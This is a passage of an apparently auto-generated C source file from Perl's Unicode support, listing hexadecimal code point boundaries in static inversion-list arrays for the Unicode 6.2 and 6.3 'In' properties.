0x1F23B, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F300, - 0x1F321, - 0x1F330, - 0x1F336, - 0x1F337, - 0x1F37D, - 0x1F380, - 0x1F394, - 0x1F3A0, - 0x1F3C5, - 0x1F3C6, - 0x1F3CB, - 0x1F3E0, - 0x1F3F1, - 0x1F400, - 0x1F43F, - 0x1F440, - 0x1F441, - 0x1F442, - 0x1F4F8, - 0x1F4F9, - 0x1F4FD, - 0x1F500, - 0x1F53E, - 0x1F540, - 0x1F544, - 0x1F550, - 0x1F568, - 0x1F5FB, - 0x1F641, - 0x1F645, - 0x1F650, - 0x1F680, - 0x1F6C6, - 0x1F700, - 0x1F774, - 0x1FFFE, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2F800, - 0x2FA1E, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE0000, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xEFFFE, - 0x110000 -}; - -static const UV PL_IN__6_DOT_2_invlist[] = { /* for all charsets */ - 1098, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x378, - 0x37A, - 0x37F, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x528, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x58F, - 0x590, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x600, - 0x605, - 0x606, - 0x61C, - 0x61E, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7FB, - 0x800, - 0x82E, - 0x830, - 0x83F, - 0x840, - 0x85C, - 0x85E, - 0x85F, - 0x8A0, - 0x8A1, - 0x8A2, - 0x8AD, - 0x8E4, - 0x8FF, - 0x900, - 0x978, - 0x979, - 0x980, - 0x981, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FC, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF2, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB, - 0xC01, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC34, - 0xC35, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5A, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC80, - 0xC82, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD02, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4F, - 0xD57, - 0xD58, - 0xD60, - 0xD64, - 0xD66, - 0xD76, - 0xD79, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFDB, - 0x1000, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F5, - 0x1400, - 0x169D, - 0x16A0, - 0x16F1, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191D, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x1A1C, - 0x1A1E, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1B80, - 0x1BF4, - 0x1BFC, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C80, - 0x1CC0, - 0x1CC8, - 0x1CD0, - 0x1CF7, - 0x1D00, - 0x1DE7, - 0x1DFC, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x2065, - 0x206A, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20BB, - 0x20D0, - 0x20F1, - 0x2100, - 0x218A, - 0x2190, - 0x23F4, - 0x2400, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2700, - 0x2701, - 0x2B4D, - 0x2B50, - 0x2B5A, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CF4, - 0x2CF9, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E3C, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312E, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FCD, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA62C, - 0xA640, - 0xA698, - 0xA69F, - 0xA6F8, - 0xA700, - 0xA78F, - 0xA790, - 0xA794, - 0xA7A0, - 0xA7AB, - 0xA7F8, - 0xA82C, - 0xA830, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C5, - 0xA8CE, - 0xA8DA, - 0xA8E0, - 0xA8FC, - 0xA900, - 0xA954, - 0xA95F, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9E0, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAA7C, - 0xAA80, - 0xAAC3, - 0xAADB, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xABC0, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xD800, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBC2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDD0, - 0xFDFE, - 0xFE00, - 0xFE1A, - 0xFE20, - 0xFE27, - 0xFE30, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018B, - 0x10190, - 0x1019C, - 0x101D0, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x1031F, - 0x10320, - 0x10324, - 0x10330, - 0x1034B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10857, - 0x10860, - 0x10900, - 0x1091C, - 0x1091F, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10A80, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B80, - 0x10C00, - 0x10C49, - 0x10E60, - 0x10E7F, - 0x11000, - 0x1104E, - 0x11052, - 0x11070, - 0x11080, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11144, - 0x11180, - 0x111C9, - 0x111D0, - 0x111DA, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x12000, - 0x1236F, - 0x12400, - 0x12463, - 0x12470, - 0x12474, - 0x13000, - 0x1342F, - 0x16800, - 0x16A39, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x1B000, - 0x1B002, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D1DE, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0BF, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0E0, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F19B, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23B, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F300, - 0x1F321, - 0x1F330, - 0x1F336, - 0x1F337, - 0x1F37D, - 0x1F380, - 0x1F394, - 0x1F3A0, - 0x1F3C5, - 0x1F3C6, - 0x1F3CB, - 0x1F3E0, - 0x1F3F1, - 0x1F400, - 0x1F43F, - 0x1F440, - 0x1F441, - 0x1F442, - 0x1F4F8, - 0x1F4F9, - 0x1F4FD, - 0x1F500, - 0x1F53E, - 0x1F540, - 0x1F544, - 0x1F550, - 0x1F568, - 0x1F5FB, - 0x1F641, - 0x1F645, - 0x1F650, - 0x1F680, - 0x1F6C6, - 0x1F700, - 0x1F774, - 0x1FFFE, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2F800, - 0x2FA1E, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE0000, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xEFFFE, - 0x110000 -}; - -static const UV PL_IN__6_DOT_3_invlist[] = { /* for all charsets */ - 1098, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x378, - 0x37A, - 0x37F, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x528, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x58F, - 0x590, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x600, - 0x605, - 0x606, - 0x61D, - 0x61E, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7FB, - 0x800, - 0x82E, - 0x830, - 0x83F, - 0x840, - 0x85C, - 0x85E, - 0x85F, - 0x8A0, - 0x8A1, - 0x8A2, - 0x8AD, - 0x8E4, - 0x8FF, - 0x900, - 0x978, - 0x979, - 0x980, - 0x981, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FC, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF2, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB, - 0xC01, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC34, - 0xC35, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5A, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC80, - 0xC82, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD02, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4F, - 0xD57, - 0xD58, - 0xD60, - 0xD64, - 0xD66, - 0xD76, - 0xD79, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFDB, - 0x1000, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F5, - 0x1400, - 0x169D, - 0x16A0, - 0x16F1, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191D, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x1A1C, - 0x1A1E, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1B80, - 0x1BF4, - 0x1BFC, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C80, - 0x1CC0, - 0x1CC8, - 0x1CD0, - 0x1CF7, - 0x1D00, - 0x1DE7, - 0x1DFC, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x2065, - 0x2066, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20BB, - 0x20D0, - 0x20F1, - 0x2100, - 0x218A, - 0x2190, - 0x23F4, - 0x2400, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2700, - 0x2701, - 0x2B4D, - 0x2B50, - 0x2B5A, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CF4, - 0x2CF9, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E3C, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312E, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FCD, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA62C, - 0xA640, - 0xA698, - 0xA69F, - 0xA6F8, - 0xA700, - 0xA78F, - 0xA790, - 0xA794, - 0xA7A0, - 0xA7AB, - 0xA7F8, - 0xA82C, - 0xA830, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C5, - 0xA8CE, - 0xA8DA, - 0xA8E0, - 0xA8FC, - 0xA900, - 0xA954, - 0xA95F, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9E0, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAA7C, - 0xAA80, - 0xAAC3, - 0xAADB, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xABC0, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xD800, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 